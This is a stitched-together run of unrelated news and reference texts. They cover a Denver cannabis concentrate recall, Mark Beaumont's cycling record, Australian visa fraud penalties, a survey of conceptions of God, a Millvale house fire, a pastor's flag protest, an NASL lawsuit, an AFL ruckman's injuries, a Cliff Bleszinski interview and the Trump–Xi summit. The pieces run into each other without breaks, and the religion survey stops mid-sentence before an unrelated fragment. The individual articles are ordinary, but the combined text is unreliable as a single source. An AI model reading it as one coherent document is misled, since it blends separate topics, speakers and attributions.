“While the order doesn’t affect the city’s local authority, it strengthens our ability to protect public health,” Dan Rowland, spokesman for the city’s Office of Marijuana Policy, said Tuesday. “The order reinforces the city’s ability to take action on products with any residues of unapproved pesticides, not just those that are above the lowest food tolerance. We’re still reviewing the details and working with the state to ensure we’re coordinated on our approach to protecting consumers.”
Ricardo Baca: 303-954-1394, rbaca@denverpost.com or @bruvs
Lab710 recall
The Lab710 concentrate products subject to the recall bear the following product names and batch numbers on their labels:
Batch # Item Description
L072101 Flo Shatter
L072102 Blue Jack Budder
L072103 Sour Orange Ghost Shatter
L072104 303 Glue Shatter
L072105 Gorilla Glue Shatter
L072106 Tiger’s Milk Pull N Snap
L072107 Powder Toast Man Shatter
L072108 Green Crack Budder
L072109 Recon Sonja Budder
L072110 Southern Kush Budder
L072111 Hulk’s Crack Budder
L072112 East Coast Mental Floss Budder
TRU_06_17_01 Bruce Banner Shatter
TRU_06_17_02 Flo Shatter
TRU_06_17_03 Lucinda Williams Shatter
TRU_06_17_04 Lucinda Williams Budder
TRU_06_17_05 Green Mental Floss Budder
TRU_06_17_06 Star Dawg Shatter
TRU_06_17_07 Jack Flash Budder
TRU_06_17_08 C4 LKG Budder
TRU_06_17_09 Legend of Chem OG Shatter
TRU_06_17_10 Star Dawg Budder
TRU_06_17_11 East Coast Sour OG BudderMark Beaumont crossed the finish line at 1430 GMT
Trip highlights
Mark Beaumont, from Fife, completed the journey in 195 days - beating the previous record of 276 days.
The 25-year-old crossed the finish line at the Arc de Triomphe in Paris at 1430 GMT after an 18,000-mile journey which began on 5 August last year.
Mr Beaumont passed through 20 countries on his way, including Pakistan, Malaysia, Australia, New Zealand and the US.
'Some sleep'
His solo journey has been dramatic at times.
He endured floods and road rage, and was knocked off his bike in the American state of Louisiana by an elderly motorist who drove through a red light.
Mr Beaumont, who is originally from Bridge of Cally in Perthshire but now lives in Newburgh, also had his wallet and camera stolen from a motel.
However, he is now celebrating.
He said: "I'm delighted, although I think it will take a while for it to sink in.
"It's great to see my friends and family and now I'm looking forward to getting some sleep.
"The challenge was one of those things which was out there to be done.
"I love the idea of being the first and the fastest and I felt I was capable of beating the record."
Mr Beaumont was met at the finish line by his mother Una, father Kevin and sisters, Heather and Hannah.
His mother has been co-ordinating his trip - paving the way with embassies, arranging flights, dealing with the media, organising transport and making sure his bike was serviced.
Mrs Beaumont said: "I am very proud of him. With Mark, the passion is being the first and the fastest.
"It's about pushing himself to the limit."
He has received messages of congratulation from Prince William and Olympic cyclist Chris Hoy.
Guinness World Records spokeswoman Amarilis Espinoza said they were aware of Mr Beaumont's attempt.
"We will be reviewing documentation from him and our researchers will go through the paperwork, but it has been logged as an official attempt and it seems everything is in order."Just one mistake on your Australian visa application could carry “devastating” lifetime consequences, experts say, under new regulations introduced by the Federal Government this month.
Anyone who submits false or misleading material as part of a visa application - even unwittingly - faces being effectively barred from making a new application for 10 years. The previous penalty was just 12 months.
The material targeted includes inaccurate statements, omissions of fact, or lodging bogus documents such as bank records, work experience claims or false English language proficiency scores.
“[It] would have quite a devastating impact on any migrant who breached their rule of perfection in any manner whatsoever,” said Mary Crock, an immigration law specialist at the University of Sydney.
“If you’re denied that long then it’s going to become impossible to come to the country.”
0:00 New penalties for visa applicants 'too harsh' 00:00 / 00:00 Share Share on Twitter
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An application lodged since November 18 may now be refused if fraud was detected on any earlier application made within the previous 10 years.
This replaces a 12-month period that had applied to those who withdrew their application once notified of suspected fraud - a way to avoid a potential three-year ban if that visa was subsequently refused.
The measure covers a range of temporary visa classes, including student visas, family visas and skilled migration classes, as well as any applications made by members of a person’s family.
The Department of Immigration and Border Protection said the longer time frame was designed to target fraudsters who actively “wait out” the year-long exclusion period before trying again.
MORE READING Visa Scam Victims come forward in response to SBS-Fairfax joint investigation Million-dollar jobs and visa scam: Porsche-driving boss leaves migrants $50,000 out of pocket
Little room for error
The Greens will next week seek support to overturn the new measures in the Upper House, branding them another front in the Immigration Minister’s “relentless attack” on migrant groups including temporary visa holders.
“This is a punitive and vindictive proposal from Peter Dutton that really is cracking a walnut with a massive sledgehammer,” Senator Nick McKim told SBS News.
AAP
Professor Crock said applicants negotiating Australia’s increasingly complex migration system already have little room for error. They would also face the penalty “even if they were unaware that a false document is being put in on their behalf,” she said.
“Where an individual has been affected by the fraud of a migration agent, for example, these regulations will now operate to bar them from making a valid application to come to Australia for 10 years,” she said.
Melbourne-based migration agent Jujhar Singh Bajwa said the changes were a “very good step” by the department to crack down on instances of fraud.
But, he said, they were also “very harsh” on those who make a simple mistake or unwittingly entrust the process to an unscrupulous agent, often those operating offshore.
“They tell the client what documents they require and then the trouble starts,” he said.
“Most [applicants] have no idea like what documents they need to submit, especially when it comes to the financial documents.”
Changes are 'unfair'
An Indian national, who spoke to SBS World News on the condition of anonymity, said he withdrew an application last year when the department detected a suspect work experience document.
“It just was said by my agent that ‘if you put it, it will get assessed quickly’, so I said ‘okay, I’m fine with that’”, he said.
Now awaiting a 457 visa lodged in time to only attract the 12-month penalty, he is concerned the new 10-year ban would nonetheless make any future bid for permanent residency impossible.
“It’s maybe fair for [those] who genuinely did the wrong thing but it will be unfair for [those] who don’t know this mistake and someone else did for you,” he said.
A Department of Immigration spokesperson said the 10-year review period was “a necessary, reasonable and proportionate measure to protect the integrity of the visa framework”.
“It is the responsibility of the applicant to ensure the documents and information in the visa application is truthful, even if a Migration Agent or third party is acting on their behalf,” the spokesman said.
“Decision makers can take into account whether or not the visa applicant deliberately submitted fraudulent documents.”
The department said applicants were given an opportunity “to comment on any adverse information that may lead to visa refusal.”
If a visa application is refused, an applicant can also seek a review of the decision through the Administrative Appeals Tribunal.Conceptions of God in monotheist, pantheist, and panentheist religions – or of the supreme deity in henotheistic religions – can extend to various levels of abstraction:
The first recordings that survive of monotheistic conceptions of God, borne out of henotheism and (mostly in Eastern religions) monism, are from the Hellenistic period. Of the many objects and entities that religions and other belief systems across the ages have labeled as divine, the one criterion they share is their acknowledgment as divine by a group or groups of human beings.
Hellenistic philosophy and religion [ edit ]
Aristotelianism [ edit ]
In his Metaphysics, Aristotle discusses meaning of "being as being". Aristotle holds that "being" primarily refers to the Unmoved Movers, and assigned one of these to each movement in the heavens. Each Unmoved Mover continuously contemplates its own contemplation, and everything that fits the second meaning of "being" by having its source of motion in itself, moves because the knowledge of its Mover causes it to emulate this Mover (or should).
Aristotle's definition of God attributes perfection to this being, and as a perfect being can only contemplate upon perfection and not on imperfection, otherwise perfection would not be one of his attributes. God, according to Aristotle, is in a state of "stasis" untouched by change and imperfection. The "unmoved mover" is very unlike the conception of God that one sees in most religions. It has been likened to a person who is playing dominos and pushes one of them over, so that every other domino in the set is pushed over as well, without the being having to do anything about it. Although, in the 18th century, the French educator Allan Kardec brought a very similar conception of God during his work of codifying Spiritism, this differs to the interpretation of God in most religions, where he is seen to be personally involved in his creation.
Hermeticism [ edit ]
"The All" is the Hermetic version of God. It has also been called "The One", "The Great One", "The Creator", "The Supreme Mind", "The Supreme Good", "The Father" and "The Universal Mother".[citation needed] The All is seen by some[who?] to be a panentheistic conception of God, subsuming everything that is or can be experienced. One Hermetic maxim states that "While All is in THE ALL, it is equally true that THE ALL is in All."[1] The All can also be seen to be hermaphroditic, possessing both masculine and feminine qualities in equal parttext[2]. These qualities are, however, of mental gender, as The All lacks physical sex.
According to The Kybalion, The All is more complicated than simply being the sum total of the universe. Rather than The All being simply the physical universe, it is said that everything in the universe is within the mind of The All, since The All can be looked at as Mind itself.[3] The All's mind is thought to be infinitely more powerful and vast than humans can possibly achieve,[4] and possibly capable of keeping track of every particle in the Universe. The Kybalion states that nothing can be outside of The All or The All would not be The All.
The All may also be a metaphor alluding to the godhead potentiality of every individual. "[God]... That invisible power which all know does exist, but understood by many different names, such as God, Spirit, Supreme Being, Intelligence, Mind, Energy, Nature and so forth."[5] In the Hermetic Tradition, each and every person has the potential to become God, this idea or concept of God is perceived as internal rather than external. The All is also an allusion to the observer created universe. We create our own reality; hence we are the architect, The All. Another way would to be to say that the mind is the builder. Freemasonry often includes concepts of God as an external entity, however, esoteric masonic teachings[citation needed] clearly identify God as the individual himself: the perceiver. We are all God and as such we create our own reality. Although others believe God to be abstract. Meaning he is not seen in reality, but understood through deep contemplation. He is all around us every day, just hiding in the miracles and beauty of our Earth.
Abrahamic religions [ edit ]
Judaism, Christianity and Islam (and also the Bahá'í Faith) see God as a being who created the world and who rules over the universe. God is usually held to have the following properties: holiness, justice, sovereignty, omnipotence, omniscience, benevolence and omnipresence. It is also believed to be transcendent, meaning that God is outside space and time. Therefore, God is eternal, unchangeable and unaffected by earthly forces or anything else within its creation.
Judaism [ edit ]
Jewish monotheism is a continuation of earlier Hebrew henotheism, the exclusive worship of the God of Israel (YHWH) as prescribed in the Torah and practiced at the Temple of Jerusalem. Strict monotheism emerges in Hellenistic Judaism and Rabbinical Judaism. Pronunciation of the proper name of the God of Israel came to be avoided in the Hellenistic era (Second Temple Judaism) and instead Jews refer to God as HaShem, meaning "the Name". In prayer and reading of scripture, the Tetragrammaton (YHWH) is substituted with Adonai ("my Lord").
Judaism traditionally teaches that God is neither matter nor spirit. God is the creator of both, but is himself neither, and is beyond all constructs of space and time. There are two aspects of God: God himself, who in the end is unknowable, and the revealed aspect of God, which created the universe, preserves the universe, and interacts with mankind in a personal way. In Judaism, the principle statement of monotheism is the Shema, a passage in the Torah which states, "Listen, Israel, HaShem is our God HaShem is one." Maimonides stated in his 13 principles of faith that God is the Creator and Guide of everything that has been created, that he is one, there is no unity in any manner like his, and he alone is God; that he is free from all the properties of matter and that there can be no (physical) comparison to him whatsoever; that he is eternal, and is the first and the last; that he knows all the deeds of human beings and all their thoughts; that he rewards those who keep his commandments and punishes those that transgress them; and that at a time when it pleases God, he will revive the dead.
Some[who?] Kabbalistic thinkers have held the belief that all of existence is itself a part of God, and that we as humanity are unaware of our own inherent godliness and are grappling to come to terms with it. The standing view in Hasidism currently, is that there is nothing in existence outside of God – all being is within God, and yet all of existence cannot contain him. Regarding this, Solomon stated while dedicating the Temple, "But will God in truth dwell with mankind on the earth? Behold, the heaven and the heaven of heavens cannot contain You."[6]
Modern Jewish thinkers have constructed a wide variety of other ideas about God. Hermann Cohen believed that God should be identified with the "archetype of morality," an idea reminiscent of Plato's idea of the Good.[7] Mordecai Kaplan believed that God is the sum of all natural processes that allow man to become self-fulfilled.[8]
Christianity [ edit ]
Trinitarianism [ edit ]
"Baptism of Christ" by Guido Reni (circa 1623)
Within Christianity, the doctrine of the Trinity states that God is a single being that exists, simultaneously and eternally, as a perichoresis of three hypostases (i.e. persons; personae, prosopa): the Father (the Source, the Eternal Majesty); the Son (the eternal Logos ("Word"), manifest in human form as Jesus and thereafter as Christ); and the Holy Spirit (the Paraclete or advocate). Since the 4th Century AD, in both Eastern and Western Christianity, this doctrine has been stated as "One God in Three Persons", all three of whom, as distinct and co-eternal "persons" or "hypostases", share a single divine essence, being, or nature.
Following the First Council of Constantinople, the Son is described as eternally begotten by the Father ("begotten of his Father before all worlds"[9]). This generation does not imply a beginning for the Son or an inferior relationship with the Father. The Son is the perfect image of his Father, and is consubstantial with him. The Son returns that love, and that union between the two is the third person of the Trinity, the Holy Spirit. The Holy Spirit is consubstantial and co-equal with the Father and the Son. Thus, God contemplates and loves himself, enjoying infinite and perfect beatitude within himself. This relationship between the other two persons is called procession. Although the theology of the Trinity is accepted in most Christian churches, there are theological differences, notably between Catholic and Orthodox thought on the procession of the Holy Spirit (see filioque). Some Christian communions do not accept the Trinitarian doctrine, at least not in its traditional form. Notable groups include the Jehovah's Witnesses, Mormons, Christadelphians, Unitarians, Arians, and Adoptionists.
Unitarianism [ edit ]
5th century Arian Baptistry Chapel
Within Christianity, Unitarianism is the view that God consists of only one person, the Father, instead of three persons as Trinitarianism states.[10] Unitarians believe that mainstream Christianity has been corrupted over history, and that it is not strictly monotheistic. There are different Unitarian views on Jesus, ranging from seeing him purely as a man who was chosen by God, to seeing him as a divine being, as the Son of God who had pre-existence.[11] Thus, Unitarianism is typically divided into two principal groups:
Arianism, which believes in the pre-existence of the Logos, and holds that the Son was God's first creation.[12]
Socinianism, the view that Jesus was a mere man, and had no existence before his birth.[13][14]
Even though the term "unitarian" did not first appear until the 17th century in reference to the Polish Brethren,[15][13] the basic tenets of Unitarianism go back to the time of Arius in the 4th century, an Alexandrian priest that taught the doctrine that only the Father was God, and that the Son had been created by the Father. Arians rejected the term "homoousios" (consubstantial) as a term describing the Father and Son, viewing such term as compromising the uniqueness and primacy of God,[16] and accused it of dividing the indivisible unit of the divine essence.[17] Unitarians trace their history back to the Apostolic Age, arguing, as do Trinitarians and Binitarians, that their Christology most closely reflects that of the early Christian community and Church Fathers.[18]
Binitarianism [ edit ]
Binitarianism is the view within Christianity that there were originally two beings in the Godhead – the Father and the Word – that became the Son (Jesus the Christ).[citation needed] Binitarians normally believe that God is a family, currently consisting of the Father and the Son[citation needed]. Some binitarians[who?] believe that others will ultimately be born into that divine family. Hence, binitarians are nontrinitarian, but they are also not unitarian. Binitarians, like most unitarians and trinitarians, claim their views were held by the original New Testament Church. Unlike most unitarians and trinitarians who tend to identify themselves by those terms, binitarians normally do not refer to their belief in the duality of the Godhead, with the Son subordinate to the Father; they simply teach the Godhead in a manner that has been termed as binitarianism.
The word "binitarian" is typically used by scholars and theologians as a contrast to a trinitarian theology: a theology of "two" in God rather than a theology of "three", and although some critics[who?] prefer to use the term ditheist or dualist instead of binitarian, those terms suggests that God is not one, yet binitarians believe that God is one family. It is accurate to offer the judgment that most commonly when someone speaks of a Christian "binitarian" theology the "two" in God are the Father and the Son... A substantial amount of recent scholarship has been devoted to exploring the implications of the fact that Jesus was worshipped by those first Jewish Christians, since in Judaism "worship" was limited to the worship of God" (Barnes M. Early Christian Binitarianism: the Father and the Holy Spirit. Early Christian Binitarianism - as read at NAPS 2001). Much of this recent scholarship has been the result of the translations of the Nag Hammadi and other ancient manuscripts that were not available when older scholarly texts (such as Wilhelm Bousset's Kyrios Christos, 1913) were written.
Mormonism [ edit ]
In the Mormonism represented by most of Mormon communities, including |
would cut first.
Three years ago, the Metro government accepted an $8 million federal grant to hire 50 police officers. But the money would have to be paid back if Metro failed to keep the officers after three years. With this explicit obligation and the expectation of sufficient future property-tax revenues, Nashville’s government leveraged its property speculation.
Now the city is forced to do what it should have done before: live within its means and set its own priorities. Instead, it jeopardized its 10th Amendment protections by taking federal grants with the inevitable strings attached.
On joining the European Union, Greece put its sovereignty at risk. The profligacy and shortsighted governance that led to its dependence on bailouts gradually reduced the value of that sovereignty.
Living on the confidence of past prosperity, many American states and municipalities believe they can play the same game and get away with it. It might be a long way from Nashville to Athens, but they have more in common than a Parthenon.MILLVALE (KDKA) –Two firefighters were injured while battling a house fire in Millvale Wednesday morning.
The fire broke out in the 800-block of Reserve Street around 6:20 a.m.
When crews arrived at the scene, flames were shooting through the roof of the home.
Neighbors say the couple who lives in the home left for vacation Tuesday night. Firefighters confirmed no one was home when the flames broke out.
Dylan Roush was on his way to work when he saw the fire and ran to help.
“Massive…like I said, I pounded on the door and you could see a little bit of smoke coming out of the front and as soon as that flame broke out of the back, the smoke that was coming out of the front went from a slight greyish color to jet black almost instantly,” Roush said.
While the cause is under investigation, firefighters say it started in the back basement area and quickly spread to the upstairs. Crews were able to knock things down quickly.
Two firefighters from Bauerstown were taken to the hospital with injuries. Witnesses say the two were inside the burning building and were pulled to safety.
“I [saw] them taking the stretcher back here and they brought a firefighter out who was injured from the calf down to the foot,” Ashley Gole said.
Both are expected to be okay.
Stay With KDKA.com For More Details
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Stay Up To Date, Follow KDKA On TwitterThe Christian flag flies above the American flag at a NC church (WJZY/screen grab)
A North Carolina pastor is calling on churches across the United States to install flag poles so that they can fly the Christian flag above the American flag to protest same-sex marriage.
In a video posted to YouTube last week, Pastor Rit Varriale of Elizabeth Baptist Church in Shelby explained that his church had installed a flag pole so it could hold a “special ceremony” to raise the Christian flag above the American flag.
That ceremony took place on Sunday.
“We hope congregations all across the U.S. will join us on this,” Varriale said. “And prayerfully it will sweep across our country as a message to congregations to reevaluate our priorities. We serve God first.”
“If you already have a flag pole at your campus, go ahead and flip that order around. Start putting the Christian flag above the American flag,” the pastor recommended. “If you don’t have a flagpole — we didn’t have a flagpole — get one, put those flags up there, and demonstrate to everybody that drives by you’re a congregation that’s committed to God first.”
Varriale told the Baptist Press that U.S. flag etiquette was “completely improper.”
“We should be flying the Christian flag above the American flag” as a demonstration that Christians will respect and obey the federal government up to the point that the government asks something that is inconsistent with what God has called His people to do,” he opined.
Varriale pointed to LGBT rights as proof that things in the country were “going wrong.”
“In large part we started going wrong when we stopped standing up for things that are inherently part of the Christian life, like prayer,” he lamented. “The admonition from the government to stop praying in the public school system was packaged under the notion of rights — the rights of the individual.”
“Now, stepping back and looking at the issue of prayer in school from a biblical perspective, the church made an incredible mistake by listening to and appeasing the government and refusing to pray with our children,” Varriale added. “Now we are reaping what we have sown by not standing up for the things we believe in.”
In the future, Varriale said that he hoped to see Christians practicing the same kind of civil disobedience that had made the LGBT movement successful.
“That is the level of commitment they have, and that’s why they are winning. The church is going to have to be as committed to the lordship of Jesus Christ as the LGBT community has been committed to their agenda,” he insisted.
Watch the video below from WNCN, broadcast July 5, 2015.
FOX 46 Charlotte
(h/t: Pink News)In the aftermath of US Soccer's decision to deny NASL Division II status, the North American Soccer League faces the prospect of going out of business.
Perhaps as a last-ditch effort to save itself, the league filed an antitrust lawsuit against US Soccer over the past week.
Using their longtime experience around the NASL and US Soccer, Kartik Krishnaiyer, special guest Dr. Nipun Chopra and Neil W. Blackmon break down the lawsuit on this week's show, from a legal and soccer standpoint.
Does the NASL have a chance to win? Is this Complaint just the beginning legally? What are the best arguments in the lawsuit? The worst? Where do we go from here? Does US Soccer treat MLS with favoritism, and if yes, do they do it so much that it creates a competitive advantage in the market for soccer in the United States? What is, for that matter, the market for soccer in the United States? Is it exclusive territory over which US Soccer has control? Did years of mismanagement or poor business decisions seal NASL's fate long before this litigation? What consequences for the USL?
This will be the most comprehensive treatment of the litigation you'll get on the web, and with special guest Dr. Nipun Chopra on, you'll hear from one of the foremost voices on lower-division soccer in the United States break the whole litigation down.
Thanks for listening!After a year on the bench, Hamish McIntosh is now set to begin pre-season training to take on the Cats ruck in 2014.
GEELONG remains confident that one of its key signings in last year's Gillette AFL Player Exchange Period, former North Melbourne ruckman Hamish McIntosh, will prove his worth in 2014.
Achilles and ankle injuries meant that McIntosh didn't play a game at any level during the recently completed season.
But the 203cm big man, who turned 29 in September, is expected to hit the ground running when the Cats begin their pre-season program next month.
"He's in good shape to be able to come back and start pre-season training along with everybody else," Geelong assistant coach Dale Amos told AFL.com.au.
"Hopefully that remains the case and there's no little setbacks along the way."
McIntosh, who signed a lucrative three-year contract with the Cats last October, has endured numerous setbacks over the past 14 months.
While still on the Kangaroos' list, he underwent LARS surgery to replace the posterior cruciate ligament in his right knee.
That operation meant he always knew he would spent his first few weeks at Geelong in the rehab group. However, his run of bad luck meant he stayed in it throughout 2013.
McIntosh was struck down by Achilles soreness over summer, then suffered an ankle injury that refused to go away.
"The knee that he came here with was no issue, it was just other little things that popped up along the way and meant he couldn't get a run at it," Amos said.
McIntosh's hopes of playing a game this year were ended when he underwent ankle surgery in July.
But he recovered well from the operation and was back running by the time the Cats' premiership hopes were extinguished when they lost their preliminary final to Hawthorn by five points.
"He was in good shape by the end of the season, in terms of training, which has us all optimistic that moving into next year he'll be able to prepare really well by having a good pre-season," Amos said.
"There's no doubting his ability and the influence he could have on our team if we are able to get him right.
"Everything at the minute points to that being the case.
"We just need him to have a really positive pre-season, not have any setbacks, and be ready to play early in 2014.
"We'd love to see him play. He's an A-grade ruckman when he playing. So hopefully his physical limitations are behind him and he can have a good crack at it."
The Cats want McIntosh and fellow ruckman Dawson Simpson, who suffered a medial ligament strain late in the home and away season and subsequently missed the finals, to carry the rucking load next year.
If McIntosh and Simpson can fulfil their end of the bargain, emerging star Nathan Vardy will be free to take the position in the forward line vacated by delisted key position player James Podsiadly.
Twitter: @AFL_AdamMcNicolFrom old-school classics like Jazz Jackrabbit and Tyrian, groundbreaking FPS franchises including Gears of War and Unreal Tournament, and Infinity Blade on mobile; Cliff Bleszinski was credited for games that were often groundbreaking and/or classic on their time. What I never expected was how he'd "unretire" himself while teaming up with a publisher that's very familiar to Korean gamers - Nexon.
Of course, with Korean reporters sitting in the interview room along with other Nexon employees waiting for Cliff Bleszinski, the scene seemed very familiar for me: A polite and controlled interview with well-rehearsed responses. However, when CliffB walked into the interview room with his two arms up and hollering at the group of Korean reporters, I knew that the interview would be unlike anything that I've done in E3. As he seated himself among awestruck reporters, he didn't hesitate a moment to start talking about LawBreakers.
The game is super popular in E3. How do you feel about such reception?
I worked for Epic Games for 20 years, and I had Tim Sweeney as my boss. When I retired, got bored and decided to unretire with my friends at Nexon, there was a lot of pressure. I got my first grey hair recently, but I pulled it out; I'm not ready to stop yet.
To be here at E3, see the lines, people talking about the game as being esports-worthy - By the way guys, one thing at a time; we need to make a great watchable game first - and somebody with a tattoo of LawBreakers were pretty magical. It is unlike anything that I've experienced in my career, and that's not a hyperbole. As a sidenote, LawBreakers is the only banner in E3 that's an original IP, and everything else is a sequel.
You've done three tests with LawBreakers so far. How did the tests go?
We've had an alpha test and two closed betas. Our first beta was good, and second beta was great. Now, we are gearing up towards third closed beta on 28th and open beta on 30th. What I don't want is one of those 'bulls--- marketing betas', where 'betas' are done a week before release and things cannot be fixed or test on time. That's a fake demo called beta to get marketing points, not a proper beta.
We want to establish a cadence with the community that we are actually listening to community and their feedback. We can't do everything they say, but acknowledging and letting them know that you are listening is half the battle of building a great community.
Was there any difficulty developing the game for both PC and PS4?
I've worked extensively on Xbox with Gears of War trilogy, and now Lawbreakers is going to be on PlayStation along with PC. It's been an interesting experience because we've initially developed for PC - for keyboard and mouse. When we started to develop for PlayStation, we first and foremost wanted the framerate to be great; none of that cinematic 30fps, but full 60fps. So, we made sure to optimize the environment well, and it ultimately benefitted PCs so that PCs could run it on 90fps or even 144fps.
Another challenge on getting the game on PlayStation was getting the control right. Because the game is so crazy with all the movement and gravity, adapting that [to controllers] was quite a challenge. Through our programmers and designers, we came up with a control scheme that works "gosh darn well", let me say. A little bit of aim assist and allowing players to configure the control setup that they want. There are classic things like inverting the look view, but there are much more customization options for control scheme. For example, I didn't know about players that like to assign jump on left bumper, because they don't want to take their hands off the thumbsticks. - "Bumper Jumpers", as they say.
Compared to other FPSs, what are the most distinct characteristic of LawBreakers?
It's the fact that we didn't "tack on" modifiable gravity and movement ability but made them the core functionalities of the game. Even the ability to shoot behind you seems like a fun tacked-on toy, but if you learn everything that this game can offer, you'll realize how movement and traversal is quite different in this game. Also, our tone of the game is drastically different - a lot of games set in space kind of looks like Pixar movies. Not that there's anything wrong with it, but we wanted something more serious, mature and "adult".
Now that the game is almost complete, was there anything that you wanted to put in a game but didn't have enough time to put in the game?
Well, we are now in a world where, if you do a good job with a game, the development is never complete. So, we are shipping with 9 roles and 18 characters, but I've already played the tenth role. It's not complete yet, but I have a pretty good idea of what it's going to be like.
We want users to know that they'll get new characters, environments and game modes showing up for free when they pay their $29.99 (or $39.99 for deluxe edition). The term that the publisher use is a "Game as a service". Although I don't like the term itself, we see this in many MOBAs, and if the game does well, we'll keep supporting it, and hopefully ship more characters until the game balance is broken; then we'll continue fix the game and keep people informed.
Cliff Bleszinski and Nexon don't seem to have too much in common. How did the partnership to make LawBreakers happen?
I decided to "unretire" because I got really bored. So, I met with most of traditional western publishers, but when I asked my development friends about it, they told me to run away as fast as I can from those publishers. Then, out of the blue, Nexon showed up. I didn't know about their games like Maple Story and Cart Rider, but they were definitely eager and excited to be working with me.
Of course, no publisher is perfect - we've had our conflicts and doubts. But when you stand outside the E3 hall and see that giant f---ing banner, I think it shows how Nexon is really pushing the game. They are pushing the game so much on social media that my Twitter timeline is filled with people talking about Lawbreakers. I think we finally have the traction that we need - Thanks to our friends at Nexon.
We noticed how there's lack of sniper in LawBreakers. Will that archetype be added in future?
The mantra in my studio is "When you are putting features in game that other games have because you think you need them, you are just making the same s--- that everybody else is making." If you'd look at games like Overwatch, there's a "Bow Guy", a "Gnome That Builds Turrets", and a "Pretty Lady That Uses Healing Ray". We don't want to do that. We want to make our own archetypes.
When it comes to snipers, I don't like being sniped. When I get sniped after running for like a minute, I feel like "Damn it, I wanna go play something else."
That being said, I don't want to rule snipers out completely. We have been playing around with this idea that may eventually happen, which is this sniper that can teleport next to the enemies they shoot and melee them. Hypothetically, you should be able to chain sniper shots to get in and out of the enemy base faster. That's the way we do it - we like to twist things, make things into our own and hopefully make something that other people rip off.
▲ Always up close and personal
There also a conspicuous lack of 'deathmatch' mode as well.
When we make a class-based FPS like this, Deathmatch game mode may cause certain characters not make sense depending on maps and sections. I wouldn't rule it out, but it would have to be on our terms, like All Assassins versus All Titans. It's always fun to shoot people - Online, of course - but I want to find our own twist on it.
Between PC and PS4, which version do you think will be more popular?
What I'm hoping for is to have "Rocket League"-like success. By launching on different platforms, people will generally be more aware of it. I prefer the PC version if I had to choose, but sometimes I feel like sitting down on a sofa and just play with the console version. I can't predict which one will be more successful, but if I want to play more seriously, I'll choose PC, and if I want to relax and just have fun, I'll play the PlayStation version.
LawBreakers will be pay-to-play - how will the monetization system be implemented within the game?
Our system is somewhat similar to Overwatch in terms of soft currency. Players often asked if they could just buy a skin that they want. However, we realized that players may just buy the skin and not play the game. Also, we wanted the players to have the mystery of "What's in the box". Earning these crates through leveling up and the power of anticipating what you are going to get is very interesting.
There's this joke on the internet about games being "Pay to Skin", but it's important to remember that all of our spendables are going to be used on pure cosmetics. We want players to see how cool their guns and characters can be with cool and unique skins. It was actually a challenge for us to have default characters to be cool but not too cool, because we want the upgraded versions to look even better.
How every game monetizes is different for every game, but we want the players to feel happy spending money in the game instead of feeling sad like leaving Las Vegas with nothing but hangover.
This year's E3 is full of new FPSs. Is there an FPS title that you are keeping an eye on?
I didn't have too much time to wander around E3, but most of FPS franchises are same standard stuff anyway. The only reason I care about Call of Duty franchise again is because they finally went back to f---ing World War II, which I think is great. I think the whole new generation of gamers can finally experience the great scenarios like Omaha Beach that the "Greatest Generation" had to deal with.
Speaking of ourselves, I do see Overwatch as our competitor, although we are very different in art and gameplay style. I joke that "If Overwatch is Coke, then LawBreakers can be Pepsi." Usually, there are rooms for three big titles in a genre, and we want to be in that top 3.
Postscript
I was in Seoul ast November, and people in Nexon took me to one of those PC cafes. I've always thought PC cafes - "PC Bangs" - were great, and they came a long way from being a disgusting place with everyone smoking and is now a well-branded thing. I've always wondered why it never took off in US, because if you'd look at the theater, it is a social place where you can get food and drink that does well even when you can watch movies at home. Nowadays, you see Overwatch in every other machine in PC Bang, but hopefully by this time next year, we can see LawBreakers in there.
Also, speaking of Seoul, we are currently working on a map that will be set in Namsan at Seoul.PALM BEACH, Fla. (Reuters) - President Donald Trump pressed Chinese President Xi Jinping to do more to curb North Korea’s nuclear program and help reduce the gaping U.S. trade deficit with Beijing in talks on Friday, even as he toned down the strident anti-China rhetoric of his election campaign.
Trump spoke publicly of progress on a range of issues in his first U.S.-China summit – as did several of his top aides – but they provided few concrete specifics other than China’s agreement to work together to narrow disagreements and find common ground for cooperation.
As the two leaders wrapped up a Florida summit overshadowed by U.S. missile strikes in Syria overnight, Xi joined Trump in stressing the positive mood of the meetings while papering over deep differences that have caused friction between the world’s two biggest economies.
Trump’s aides insisted he had made good on his pledge to raise concerns about China’s trade practices and said there was some headway, with Xi agreeing to a 100-day plan for trade talks aimed at boosting U.S. exports and reducing China’s trade surplus with the United States.
Speaking after the two-day summit at Trump’s Mar-a-Lago resort in Florida, U.S. Secretary of State Rex Tillerson also said that Xi had agreed to increased cooperation in reining in North Korea’s missile and nuclear programs – though he did not offer any new formula for cracking Pyongyang’s defiant attitude.
Trump had promised during the campaign to stop what he called the theft of American jobs by China. Many blue-collar workers helped propel him to his unexpected election victory on Nov. 8 and Trump is under pressure to deliver for them.
The Republican president tweeted last week that the United States could no longer tolerate massive trade deficits and job losses and that his meeting with Xi “will be a very difficult one.”
On Friday, the unpredictable Trump not only set a different tone but also avoided any public lapses in protocol that Chinese officials had feared could embarrass their leader.
“We have made tremendous progress in our relationship with China,” Trump told reporters as the two delegations met around tables flanked by large U.S. and Chinese flags. “We will be making additional progress. The relationship developed by President Xi and myself I think is outstanding.
“And I believe lots of very potentially bad problems will be going away,” he added, without providing details.
“AGREE WITH YOU 100 PERCENT”
Xi also spoke in mostly positive terms.
“We have engaged in deeper understanding, and have built a trust,” he said. “I believe we will keep developing in a stable way to form friendly relations... For the peace and stability of the world, we will also fulfill our historical responsibility.”
U.S. President Donald Trump (L) and China's President Xi Jinping walk along the front patio of the Mar-a-Lago estate after a bilateral meeting in Palm Beach, Florida, U.S., April 7, 2017. REUTERS/Carlos Barria
“Well, I agree with you 100 percent,” Trump replied.
China’s official Xinhua news agency said Xi had encouraged the United States to take part in the “One Belt, One Road” plan, Xi’s signature foreign policy imitative aimed at infrastructure development across Asia, Africa and Europe, seen in some policy circles as a partial answer to the pivot to Asia strategy of Trump’s predecessor Barack Obama.
Xi also hailed military to military exchanges and said China and the United States should “make good use of the dialogue mechanism to be established between the two countries’ joint staffs of the armed forces”, although Xinhua did not give further details.
Chinese state media on Saturday cheered the meeting as one that showed the world that confrontation between the two powers was not inevitable and established the tone for the development of U.S.-China relations.
But in a sign that rough spots remained, Tillerson afterwards described the discussions as “very frank and candid.”
“President Trump and President Xi agreed to work in concert to expand areas of cooperation while managing differences based on mutual respect,” he said.
After the meeting, Trump took Xi on a walk around the manicured grounds of his lavish Spanish-style complex. Trump could be seen chatting and gesturing to Xi, who did the same.
